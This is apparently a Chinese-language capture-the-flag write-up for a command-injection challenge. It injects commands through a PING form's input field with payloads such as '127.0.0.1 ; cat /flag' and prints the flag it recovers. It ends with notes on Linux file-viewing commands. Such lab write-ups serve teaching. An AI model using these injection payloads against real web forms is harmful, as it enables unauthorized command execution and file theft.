type
status
date
slug
summary
tags
category
icon
password
@ZZHow(ZZHow1024)
Command Injection(命令注入)类
含义:在文本框内写一些”恶意“命令!
思路:把命令混进文本框内,并且让它能执行。
实操:
1、启动靶机,观察题目界面
- 发现是一个PING功能。
- 怀疑很可能是命令注入!
2、寻找解题思路
- 先正常PING一次本机(127.0.0.1)。
- 尝试使用命令连接符连接Linux命令。
- 构建命令:
- 127.0.0.1 ; ls
- 填入文本框中,点击”PING” !
- 发现在直接PING本机的结果下方多出了
index.php
。 - 那么说明的确存在命令注入漏洞。
- 且该操作系统的确为Linux。
3、寻找Flag
- 经验告诉我们一般Flag在根目录下。
- 看看根目录下都有什么吧 🔎
- 构建命令:
- 127.0.0.1 ; cd ../../../ ; ls
- 填入文本框中,点击”PING” !
- 发现Flag!
- 结合其他文件名判断是在根目录。
4、打开Flag文件
- 可用的查看文件内容命令:
- 1. cat命令
- 2. nl命令(比cat多了行数提示)
- 3. more命令
- 4. less命令
- 5. head命令
- 6. tail命令
- 具体解释看文末
- 构建命令(以下几个都可以):
- 127.0.0.1 ; cat /flag
- 127.0.0.1 ; nl /flag
- 127.0.0.1 ; more /flag
- 127.0.0.1 ; less /flag
- 127.0.0.1 ; head /flag
- 127.0.0.1 ; tail /flag
- 填入文本框中,点击”PING” !
5、获得Flag
6、解题成功!
- 在PING命令结果下(最后一行)即为Flag。
- 注意:若你使用的是nl 命令最后一行为
1 flag{5001a97b-6158-4739-b37d-b25c510e3b7d}
- flag前的1是行数,复制Flag的时候请去掉。
- 获得Flag!
额外补充—关于查看文件的六个命令
- cat(英文全拼:concatenate)命令
- 用于连接文件并打印到标准输出设备上。
- cat [-AbeEnstTuv] [--help] [--version] fileName
- 将整个文件的内容从上到下显示在屏幕上。
- nl 命令
- 用于读取 File 参数(缺省情况下标准输入),计算输入中的行号,将计算过的行号打印到标准输出设备上。
- nl [参数] fileName
- 将整个文件的内容(带行号)从上到下显示在屏幕上。
- more命令
- 类似 cat ,用于以一页一页的形式显示。
- more [-dlfpcsu] [-num] [+/pattern] [+linenum] fileNames
- 按空白键(space)就往下一页显示,按 b 键就会往回(back)一页显示,而且还有搜寻字串的功能(与 vi 相似),使用中的说明文件,请按 h 。
- less命令
- 类似 more,用于随意浏览文件。
- less [参数] 文件
- 支持翻页和搜索,支持向上翻页和向下翻页。
- head命令
- 用于查看文件的开头部分的内容。
- head [参数] [文件]
- 有一个常用的参数 -n 用于显示行数,默认为 10,即显示 10 行的内容。
- tail命令
- 用于查看文件的内容。
- tail [参数] [文件]
- 有一个常用的参数 -f 常用于查阅正在改变的日志文件。tail -f filename 会把 filename 文件里的最尾部的内容显示在屏幕上,并且不断刷新,只要 filename 更新就可以看到最新的文件内容。